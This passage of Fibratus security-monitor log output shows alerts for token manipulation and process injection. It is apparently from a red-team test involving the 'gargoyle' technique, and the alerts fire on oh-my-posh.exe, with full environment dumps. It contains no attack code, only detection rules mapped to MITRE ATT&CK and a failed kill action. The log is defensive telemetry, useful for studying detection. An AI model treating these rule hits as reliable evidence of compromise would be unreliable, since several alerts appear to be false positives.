Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:122fa9ef-fbd4-4f2a-bf38-7020b0fd087b WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 2356395 + Pid: 13848 + Tid: 17840 + Type: CreateProcess + CPU: 4 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-04 20:41:47.3087053 +0100 CET + Params: cmdline➜ \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1, directory_table_base➜ 42d49a000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\conhost.exe, exit_status➜ Success, flags➜ , kproc➜ ffffa78c73d890c0, name➜ conhost.exe, pid➜ 312, ppid➜ 13848, real_ppid➜ 13848, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-04 20:41:47.3087053 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.name: Privilege Escalation, subtechnique.ref: https://attack.mitre.org/techniques/T1134/002/, rule.name: Suspicious child process integrity level, technique.id: T1134, subtechnique.id: T1134.002, tactic.id: TA0004, tactic.ref: https://attack.mitre.org/tactics/TA0004/, technique.ref: https://attack.mitre.org/techniques/T1134/, rule.seq.link: 1762285376014759672, technique.name: Access Token Manipulation, subtechnique.name: Create Process with Token + + Pid: 13848 + Ppid: 18532 + Name: oh-my-posh.exe + Parent name: powershell.exe + Cmdline: "C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\redteam\gargoyle" "--pswd=C:\Fibratus\redteam\gargoyle" "--execution-time=109.0901" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.6584" "--terminal-width=120" "--shell=pwsh" + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\redteam\gargoyle" "--pswd=C:\Fibratus\redteam\gargoyle" "--execution-time=109.0901" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.6584" "--terminal-width=120" "--shell=pwsh"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-04T20:41:52+01:00 level=info msg=executing kill action: pids=[13848 312] rule=Suspicious child process integrity level source=rules/engine.go:294 +time=2025-11-04T20:41:58+01:00 level=info msg=sending alert: [Suspicious child process integrity level]. Text: Suspicious process C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe spawned the process C:\WINDOWS\system32\conhost.exe with System integrity level + Event(s): + Seq: 2363730 + Pid: 18532 + Tid: 1180 + Type: CreateProcess + CPU: 0 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-04 20:41:57.4416432 +0100 CET + Params: cmdline➜ "C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=1" "--pwd=C:\Fibratus\redteam\gargoyle" "--pswd=C:\Fibratus\redteam\gargoyle" "--execution-time=328.5371" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.6584" "--terminal-width=120" "--shell=pwsh", directory_table_base➜ 2921ae000, domain➜ ARCHRABBIT, exe➜ C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe, exit_status➜ Success, flags➜ , kproc➜ ffffa78c74ae50c0, name➜ oh-my-posh.exe, pid➜ 6000, ppid➜ 18532, real_ppid➜ 18532, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-04 20:41:57.4415331 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 147493095028555776, tactic.id: TA0004, tactic.ref: https://attack.mitre.org/tactics/TA0004/, technique.ref: https://attack.mitre.org/techniques/T1134/, rule.name: Suspicious child process integrity level, technique.id: T1134, technique.name: Access Token Manipulation, subtechnique.id: T1134.002, subtechnique.name: Create Process with Token, tactic.name: Privilege Escalation, subtechnique.ref: https://attack.mitre.org/techniques/T1134/002/ + + Pid: 18532 + Ppid: 3544 + Name: powershell.exe + Parent name: WindowsTerminal.exe + Cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Parent cmdline: "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.23.12811.0_x64__8wekyb3d8bbwe\WindowsTerminal.exe" + Exe: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Cwd: C:\Fibratus\fibratus\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:122fa9ef-fbd4-4f2a-bf38-7020b0fd087b WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 2363854 + Pid: 6000 + Tid: 10388 + Type: CreateProcess + CPU: 4 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-04 20:41:57.4553565 +0100 CET + Params: cmdline➜ \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1, directory_table_base➜ 2fd27000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\conhost.exe, exit_status➜ Success, flags➜ , kproc➜ ffffa78c71d680c0, name➜ conhost.exe, pid➜ 3576, ppid➜ 6000, real_ppid➜ 6000, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-04 20:41:57.4553565 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 147493095028555776, rule.name: Suspicious child process integrity level, technique.name: Access Token Manipulation, subtechnique.id: T1134.002, tactic.id: TA0004, tactic.name: Privilege Escalation, technique.id: T1134, subtechnique.name: Create Process with Token, tactic.ref: https://attack.mitre.org/tactics/TA0004/, technique.ref: https://attack.mitre.org/techniques/T1134/, subtechnique.ref: https://attack.mitre.org/techniques/T1134/002/ + + Pid: 6000 + Ppid: 18532 + Name: oh-my-posh.exe + Parent name: powershell.exe + Cmdline: "C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=1" "--pwd=C:\Fibratus\redteam\gargoyle" "--pswd=C:\Fibratus\redteam\gargoyle" "--execution-time=328.5371" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.6584" "--terminal-width=120" "--shell=pwsh" + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=1" "--pwd=C:\Fibratus\redteam\gargoyle" "--pswd=C:\Fibratus\redteam\gargoyle" "--execution-time=328.5371" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.6584" "--terminal-width=120" "--shell=pwsh"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-04T20:41:58+01:00 level=info msg=executing kill action: pids=[6000 3576] rule=Suspicious child process integrity level source=rules/engine.go:294 +time=2025-11-04T20:41:58+01:00 level=error msg=unable to execute rule action: fail to execute action for "Suspicious child process integrity level" rule: failed to kill pid 6000: Access is denied. source=rules/engine.go:252 +time=2025-11-04T20:41:59+01:00 level=info msg=sending alert: [Thread context set from unbacked memory]. Text: Event(s): + Seq: 2366734 + Pid: 6000 + Tid: 3108 + Type: SetThreadContext + CPU: 2 + Name: SetThreadContext + Category: thread + Description: Sets the thread context + Host: archrabbit + Timestamp: 2025-11-04 20:41:57.5542871 +0100 CET + Params: status➜ Success + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion, rule.name: Thread context set from unbacked memory + + Pid: 6000 + Ppid: 18532 + Name: oh-my-posh.exe + Parent name: powershell.exe + Cmdline: "C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=1" "--pwd=C:\Fibratus\redteam\gargoyle" "--pswd=C:\Fibratus\redteam\gargoyle" "--execution-time=328.5371" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.6584" "--terminal-width=120" "--shell=pwsh" + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=1" "--pwd=C:\Fibratus\redteam\gargoyle" "--pswd=C:\Fibratus\redteam\gargoyle" "--execution-time=328.5371" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.6584" "--terminal-width=120" "--shell=pwsh"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-04T20:42:06+01:00 level=info msg=sending alert: [Suspicious child process integrity level]. Text: Suspicious process C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe spawned the process C:\WINDOWS\system32\conhost.exe with System integrity level + Event(s): + Seq: 2368154 + Pid: 18532 + Tid: 1180 + Type: CreateProcess + CPU: 0 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-04 20:42:05.7261474 +0100 CET + Params: cmdline➜ "C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\redteam\gargoyle" "--pswd=C:\Fibratus\redteam\gargoyle" "--execution-time=79.4069" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.6584" "--terminal-width=120" "--shell=pwsh", directory_table_base➜ 37f63d000, domain➜ ARCHRABBIT, exe➜ C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe, exit_status➜ Success, flags➜ , kproc➜ ffffa78c73ca20c0, name➜ oh-my-posh.exe, pid➜ 19132, ppid➜ 18532, real_ppid➜ 18532, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-04 20:42:05.7260078 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: subtechnique.id: T1134.002, tactic.id: TA0004, tactic.ref: https://attack.mitre.org/tactics/TA0004/, technique.name: Access Token Manipulation, subtechnique.name: Create Process with Token, tactic.name: Privilege Escalation, technique.ref: https://attack.mitre.org/techniques/T1134/, subtechnique.ref: https://attack.mitre.org/techniques/T1134/002/, technique.id: T1134, rule.seq.link: 291608283104411648, rule.name: Suspicious child process integrity level + + Pid: 18532 + Ppid: 3544 + Name: powershell.exe + Parent name: WindowsTerminal.exe + Cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Parent cmdline: "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.23.12811.0_x64__8wekyb3d8bbwe\WindowsTerminal.exe" + Exe: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Cwd: C:\Fibratus\fibratus\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program 